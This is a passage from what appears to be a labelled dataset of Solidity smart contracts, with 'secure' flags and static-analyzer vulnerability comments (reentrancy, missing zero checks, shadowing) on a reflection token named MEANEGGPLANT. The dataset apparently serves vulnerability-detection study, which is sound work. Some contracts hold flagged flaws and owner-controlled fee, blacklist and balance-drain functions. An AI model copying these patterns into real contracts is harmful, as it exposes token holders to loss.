2450169\n\t\t// unused-return | ID: 07618d8\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tdeveloper,\n uint256 tlottery\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n\n _takedeveloper(tdeveloper);\n _takelottery(tlottery);\n\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tdeveloper,\n uint256 tlottery\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _takedeveloper(tdeveloper);\n _takelottery(tlottery);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tdeveloper,\n uint256 tlottery\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _takedeveloper(tdeveloper);\n _takelottery(tlottery);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n}", "file_name": "solidity_code_2577.sol", "secure": 0, "size_bytes": 27494 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary StringUtil {\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return equal(bytes(a), bytes(b));\n }\n\n function equal(\n bytes memory a,\n bytes memory b\n ) internal pure returns (bool) {\n return keccak256(a) == keccak256(b);\n }\n\n function notEmpty(string memory a) internal pure returns (bool) {\n return bytes(a).length > 0;\n }\n}", "file_name": "solidity_code_2578.sol", "secure": 1, "size_bytes": 525 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WhiteList is Ownable {\n mapping(address => bool) public whiteList;\n\n event AddWhiteList(address account);\n event RemoveWhiteList(address account);\n\n modifier onlyWhiteList() {\n require(whiteList[_msgSender()] == true, \"not in white list\");\n _;\n }\n\n function addWhiteList(address account) public onlyOwner {\n require(account != address(0), \"address should not be 0\");\n whiteList[account] = true;\n emit AddWhiteList(account);\n }\n\n function removeWhiteList(address account) public onlyOwner {\n whiteList[account] = false;\n emit RemoveWhiteList(account);\n }\n}", "file_name": "solidity_code_2579.sol", "secure": 1, "size_bytes": 790 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_258.sol", "secure": 1, "size_bytes": 626 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./WhiteList.sol\" as WhiteList;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./StringUtil.sol\" as StringUtil;\n\ncontract FilChainStatOracle is WhiteList {\n using StringUtil for string;\n using SafeMath for uint256;\n\n uint256 public sectorInitialPledge;\n mapping(string => uint256) public minerAdjustedPower;\n mapping(string => uint256) public minerMiningEfficiency;\n mapping(string => uint256) public minerSectorInitialPledge;\n\n uint256 public minerTotalAdjustedPower;\n\n uint256 public avgMiningEfficiency;\n\n uint256 public latest24hBlockReward;\n\n uint256 public rewardAttenuationFactor;\n uint256 public networkStoragePower;\n uint256 public dailyStoragePowerIncrease;\n\n event SectorInitialPledgeChanged(uint256 originalValue, uint256 newValue);\n event MinerSectorInitialPledgeChanged(\n string minerId,\n uint256 originalValue,\n uint256 newValue\n );\n event MinerAdjustedPowerChanged(\n string minerId,\n uint256 originalValue,\n uint256 newValue\n );\n event MinerMiningEfficiencyChanged(\n string minerId,\n uint256 originalValue,\n uint256 newValue\n );\n event AvgMiningEfficiencyChanged(uint256 originalValue, uint256 newValue);\n event Latest24hBlockRewardChanged(uint256 originalValue, uint256 newValue);\n event RewardAttenuationFactorChanged(\n uint256 originalValue,\n uint256 newValue\n );\n event NetworkStoragePowerChanged(uint256 originalValue, uint256 newValue);\n event DailyStoragePowerIncreaseChanged(\n uint256 originalValue,\n uint256 newValue\n );\n\n function setSectorInitialPledge(\n uint256 _sectorInitialPledge\n ) public onlyWhiteList {\n require(_sectorInitialPledge > 0, \"value should not be 0\");\n emit SectorInitialPledgeChanged(\n sectorInitialPledge,\n _sectorInitialPledge\n );\n sectorInitialPledge = _sectorInitialPledge;\n }\n\n function setMinerSectorInitialPledge(\n string memory _minerId,\n uint256 _minerSectorInitialPledge\n ) public onlyWhiteList {\n require(_minerSectorInitialPledge > 0, \"value should not be 0\");\n emit MinerSectorInitialPledgeChanged(\n _minerId,\n minerSectorInitialPledge[_minerId],\n _minerSectorInitialPledge\n );\n minerSectorInitialPledge[_minerId] = _minerSectorInitialPledge;\n }\n\n function setMinerSectorInitialPledgeBatch(\n string[] memory _minerIdList,\n uint256[] memory _minerSectorInitialPledgeList\n ) public onlyWhiteList {\n require(_minerIdList.length > 0, \"miner array should not be 0 length\");\n require(\n _minerSectorInitialPledgeList.length > 0,\n \"value array should not be 0 length\"\n );\n require(\n _minerIdList.length == _minerSectorInitialPledgeList.length,\n \"array length not equal\"\n );\n\n for (uint256 i = 0; i < _minerIdList.length; i++) {\n require(\n _minerSectorInitialPledgeList[i] > 0,\n \"value should not be 0\"\n );\n emit MinerSectorInitialPledgeChanged(\n _minerIdList[i],\n minerSectorInitialPledge[_minerIdList[i]],\n _minerSectorInitialPledgeList[i]\n );\n minerSectorInitialPledge[\n _minerIdList[i]\n ] = _minerSectorInitialPledgeList[i];\n }\n }\n\n function setMinerAdjustedPower(\n string memory _minerId,\n uint256 _minerAdjustedPower\n ) public onlyWhiteList {\n require(_minerId.notEmpty(), \"miner id should not be empty\");\n require(_minerAdjustedPower > 0, \"value should not be 0\");\n minerTotalAdjustedPower = minerTotalAdjustedPower\n .sub(minerAdjustedPower[_minerId])\n .add(_minerAdjustedPower);\n emit MinerAdjustedPowerChanged(\n _minerId,\n minerAdjustedPower[_minerId],\n _minerAdjustedPower\n );\n minerAdjustedPower[_minerId] = _minerAdjustedPower;\n }\n\n function setMinerAdjustedPowerBatch(\n string[] memory _minerIds,\n uint256[] memory _minerAdjustedPowers\n ) public onlyWhiteList {\n require(\n _minerIds.length == _minerAdjustedPowers.length,\n \"minerId list count is not equal to power list\"\n );\n for (uint256 i; i < _minerIds.length; i++) {\n require(_minerIds[i].notEmpty(), \"miner id should not be empty\");\n require(_minerAdjustedPowers[i] > 0, \"value should not be 0\");\n minerTotalAdjustedPower = minerTotalAdjustedPower\n .sub(minerAdjustedPower[_minerIds[i]])\n .add(_minerAdjustedPowers[i]);\n emit MinerAdjustedPowerChanged(\n _minerIds[i],\n minerAdjustedPower[_minerIds[i]],\n _minerAdjustedPowers[i]\n );\n minerAdjustedPower[_minerIds[i]] = _minerAdjustedPowers[i];\n }\n }\n\n function removeMinerAdjustedPower(\n string memory _minerId\n ) public onlyWhiteList {\n uint256 adjustedPower = minerAdjustedPower[_minerId];\n minerTotalAdjustedPower = minerTotalAdjustedPower.sub(adjustedPower);\n delete minerAdjustedPower[_minerId];\n emit MinerAdjustedPowerChanged(_minerId, adjustedPower, 0);\n }\n\n function setMinerMiningEfficiency(\n string memory _minerId,\n uint256 _minerMiningEfficiency\n ) public onlyWhiteList {\n require(_minerId.notEmpty(), \"miner id should not be empty\");\n require(_minerMiningEfficiency > 0, \"value should not be 0\");\n emit MinerMiningEfficiencyChanged(\n _minerId,\n minerMiningEfficiency[_minerId],\n _minerMiningEfficiency\n );\n minerMiningEfficiency[_minerId] = _minerMiningEfficiency;\n }\n\n function setMinerMiningEfficiencyBatch(\n string[] memory _minerIds,\n uint256[] memory _minerMiningEfficiencys\n ) public onlyWhiteList {\n require(\n _minerIds.length == _minerMiningEfficiencys.length,\n \"minerId list count is not equal to power list\"\n );\n for (uint256 i; i < _minerIds.length; i++) {\n require(_minerIds[i].notEmpty(), \"miner id should not be empty\");\n require(_minerMiningEfficiencys[i] > 0, \"value should not be 0\");\n emit MinerMiningEfficiencyChanged(\n _minerIds[i],\n minerMiningEfficiency[_minerIds[i]],\n _minerMiningEfficiencys[i]\n );\n minerMiningEfficiency[_minerIds[i]] = _minerMiningEfficiencys[i];\n }\n }\n\n function setAvgMiningEfficiency(\n uint256 _avgMiningEfficiency\n ) public onlyWhiteList {\n require(_avgMiningEfficiency > 0, \"value should not be 0\");\n emit AvgMiningEfficiencyChanged(\n avgMiningEfficiency,\n _avgMiningEfficiency\n );\n avgMiningEfficiency = _avgMiningEfficiency;\n }\n\n function setLatest24hBlockReward(\n uint256 _latest24hBlockReward\n ) public onlyWhiteList {\n require(_latest24hBlockReward > 0, \"value should not be 0\");\n emit Latest24hBlockRewardChanged(\n latest24hBlockReward,\n _latest24hBlockReward\n );\n latest24hBlockReward = _latest24hBlockReward;\n }\n\n function setRewardAttenuationFactor(\n uint256 _rewardAttenuationFactor\n ) public onlyWhiteList {\n require(_rewardAttenuationFactor > 0, \"value should not be 0\");\n emit RewardAttenuationFactorChanged(\n rewardAttenuationFactor,\n _rewardAttenuationFactor\n );\n rewardAttenuationFactor = _rewardAttenuationFactor;\n }\n\n function setNetworkStoragePower(\n uint256 _networkStoragePower\n ) public onlyWhiteList {\n require(_networkStoragePower > 0, \"value should not be 0\");\n emit NetworkStoragePowerChanged(\n networkStoragePower,\n _networkStoragePower\n );\n networkStoragePower = _networkStoragePower;\n }\n\n function setDailyStoragePowerIncrease(\n uint256 _dailyStoragePowerIncrease\n ) public onlyWhiteList {\n require(_dailyStoragePowerIncrease > 0, \"value should not be 0\");\n emit DailyStoragePowerIncreaseChanged(\n dailyStoragePowerIncrease,\n _dailyStoragePowerIncrease\n );\n dailyStoragePowerIncrease = _dailyStoragePowerIncrease;\n }\n}", "file_name": "solidity_code_2580.sol", "secure": 1, "size_bytes": 8882 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MEANEGGPLANT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n mapping(address => bool) private botWallets;\n\t// WARNING Optimization Issue (constable-states | ID: 140846f): MEANEGGPLANT.botscantrade should be constant \n\t// Recommendation for 140846f: Add the 'constant' attribute to state variables that never change.\n bool botscantrade = false;\n\n bool public canTrade = false;\n\n uint256 private constant MAX = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: 8c8395c): MEANEGGPLANT._tTotal should be constant \n\t// Recommendation for 8c8395c: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 69000000000000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n address public taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7e61bd): MEANEGGPLANT._name should be constant \n\t// Recommendation for e7e61bd: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Mean Eggplant\";\n\t// WARNING Optimization Issue (constable-states | ID: d81fec0): MEANEGGPLANT._symbol should be constant \n\t// Recommendation for d81fec0: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MEANEGGPLANT\";\n\t// WARNING Optimization Issue (constable-states | ID: 89700a3): MEANEGGPLANT._decimals should be constant \n\t// Recommendation for 89700a3: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n uint256 public _taxFee = 1;\n uint256 private _previousTaxFee = _taxFee;\n\n uint256 public _liquidityFee = 9;\n uint256 private _previousLiquidityFee = _liquidityFee;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool inSwapAndLiquify;\n bool public swapAndLiquifyEnabled = true;\n\n uint256 public _maxTxAmount = 690000000000000000000 * 10 ** 9;\n uint256 public numTokensSellToAddToLiquidity =\n 690000000000000000000 * 10 ** 9;\n uint256 public _maxWalletSize = 690000000000000000000 * 10 ** 9;\n\n event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f2dfa27): MEANEGGPLANT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f2dfa27: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ac5611): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ac5611: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f8fbb92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f8fbb92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2ac5611\n\t\t// reentrancy-benign | ID: f8fbb92\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 2ac5611\n\t\t// reentrancy-benign | ID: f8fbb92\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcludedFromReward(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b1a617): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b1a617: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdrop(address recipient, uint256 amount) external onlyOwner {\n removeAllFee();\n\t\t// reentrancy-eth | ID: 6b1a617\n _transfer(_msgSender(), recipient, amount * 10 ** 9);\n\t\t// reentrancy-eth | ID: 6b1a617\n restoreAllFee();\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 174466a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 174466a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdropInternal(address recipient, uint256 amount) internal {\n removeAllFee();\n\t\t// reentrancy-eth | ID: 174466a\n _transfer(_msgSender(), recipient, amount);\n\t\t// reentrancy-eth | ID: 174466a\n restoreAllFee();\n }\n\n function airdropArray(\n address[] calldata newholders,\n uint256[] calldata amounts\n ) external onlyOwner {\n uint256 iterator = 0;\n require(newholders.length == amounts.length, \"must be the same length\");\n while (iterator < newholders.length) {\n airdropInternal(newholders[iterator], amounts[iterator] * 10 ** 9);\n iterator += 1;\n }\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeFromReward(address account) public onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: f428110\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 12f8ef3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6255e97): MEANEGGPLANT.setTaxWallet(address).walletAddress lacks a zerocheck on \t taxWallet = walletAddress\n\t// Recommendation for 6255e97: Check that the address is not zero.\n function setTaxWallet(address walletAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 6255e97\n taxWallet = walletAddress;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5d473d9): MEANEGGPLANT.setTaxFeePercent(uint256) should emit an event for _taxFee = taxFee \n\t// Recommendation for 5d473d9: Emit an event for critical parameter changes.\n function setTaxFeePercent(uint256 taxFee) external onlyOwner {\n require(taxFee < 10, \"Tax fee cannot be more than 10%\");\n\t\t// events-maths | ID: 5d473d9\n _taxFee = taxFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e2d347): MEANEGGPLANT.setLiquidityFeePercent(uint256) should emit an event for _liquidityFee = liquidityFee \n\t// Recommendation for 9e2d347: Emit an event for critical parameter changes.\n function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {\n\t\t// events-maths | ID: 9e2d347\n _liquidityFee = liquidityFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cdc37e6): MEANEGGPLANT._setMaxWalletSizePercent(uint256) should emit an event for _maxWalletSize = _tTotal.mul(maxWalletSize).div(10 ** 3) \n\t// Recommendation for cdc37e6: Emit an event for critical parameter changes.\n function _setMaxWalletSizePercent(\n uint256 maxWalletSize\n ) external onlyOwner {\n\t\t// events-maths | ID: cdc37e6\n _maxWalletSize = _tTotal.mul(maxWalletSize).div(10 ** 3);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 74ba11a): MEANEGGPLANT.setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount * 10 ** 9 \n\t// Recommendation for 74ba11a: Emit an event for critical parameter changes.\n function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n require(\n maxTxAmount > 69000000,\n \"Max Tx Amount cannot be less than 69 Million\"\n );\n\t\t// events-maths | ID: 74ba11a\n _maxTxAmount = maxTxAmount * 10 ** 9;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ed4eaca): MEANEGGPLANT.setSwapThresholdAmount(uint256) should emit an event for numTokensSellToAddToLiquidity = SwapThresholdAmount * 10 ** 9 \n\t// Recommendation for ed4eaca: Emit an event for critical parameter changes.\n function setSwapThresholdAmount(\n uint256 SwapThresholdAmount\n ) external onlyOwner {\n require(\n SwapThresholdAmount > 69000000,\n \"Swap Threshold Amount cannot be less than 69 Million\"\n );\n\t\t// events-maths | ID: ed4eaca\n numTokensSellToAddToLiquidity = SwapThresholdAmount * 10 ** 9;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 83c1b42): MEANEGGPLANT.clearStuckBalance(address).walletaddress lacks a zerocheck on \t walletaddress.transfer(address(this).balance)\n\t// Recommendation for 83c1b42: Check that the address is not zero.\n function clearStuckBalance(\n address payable walletaddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 83c1b42\n walletaddress.transfer(address(this).balance);\n }\n\n function addBotWallet(address botwallet) external onlyOwner {\n botWallets[botwallet] = true;\n }\n\n function removeBotWallet(address botwallet) external onlyOwner {\n botWallets[botwallet] = false;\n }\n\n function getBotWalletStatus(address botwallet) public view returns (bool) {\n return botWallets[botwallet];\n }\n\n function allowtrading() external onlyOwner {\n canTrade = true;\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n receive() external payable {}\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: f428110\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 3e6b5aa\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getTValues(tAmount);\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tLiquidity,\n _getRate()\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tLiquidity\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = calculateTaxFee(tAmount);\n uint256 tLiquidity = calculateLiquidityFee(tAmount);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);\n return (tTransferAmount, tFee, tLiquidity);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 34d11fc\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _takeLiquidity(uint256 tLiquidity) private {\n uint256 currentRate = _getRate();\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);\n if (_isExcluded[address(this)])\n\t\t\t// reentrancy-eth | ID: f428110\n _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);\n }\n\n function calculateTaxFee(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_taxFee).div(10 ** 2);\n }\n\n function calculateLiquidityFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_liquidityFee).div(10 ** 2);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _liquidityFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 3e6b5aa\n _previousTaxFee = _taxFee;\n\t\t// reentrancy-benign | ID: 3e6b5aa\n _previousLiquidityFee = _liquidityFee;\n\n\t\t// reentrancy-benign | ID: 3e6b5aa\n _taxFee = 0;\n\t\t// reentrancy-benign | ID: 3e6b5aa\n _liquidityFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t// reentrancy-eth | ID: 174466a\n\t\t// reentrancy-eth | ID: 6b1a617\n _taxFee = _previousTaxFee;\n\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t// reentrancy-eth | ID: 174466a\n\t\t// reentrancy-eth | ID: 6b1a617\n _liquidityFee = _previousLiquidityFee;\n }\n\n function isExcludedFromFee(address account) 